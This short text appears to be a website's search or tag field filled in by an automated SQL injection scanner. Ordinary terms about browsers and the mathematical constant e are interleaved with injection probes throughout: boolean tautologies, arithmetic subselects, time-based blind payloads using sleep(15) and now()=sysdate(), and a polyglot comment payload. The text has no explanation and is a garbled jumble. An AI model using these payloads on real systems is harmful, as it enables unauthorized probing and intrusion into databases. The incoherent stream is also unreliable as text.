-1' OR 5*5=25 or 'W3casICo'=' pHqghUme'" browserling internet explorer -1" OR 5*5=25 or "3lBI97nf"=" @@MGNmK 2.7 irrational math sleep(15) (select 198766*667891) 2.71 math constant 0) (select 198766*667891 from DUAL) 2.718 mathematical constant pHqghUme0'XOR(if(now()=sysdate() 2.7182 paint 0))XOR'Z 2.71828 series pHqghUme0"XOR(if(now()=sysdate() art sinh 0))XOR"Z canvas studio (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/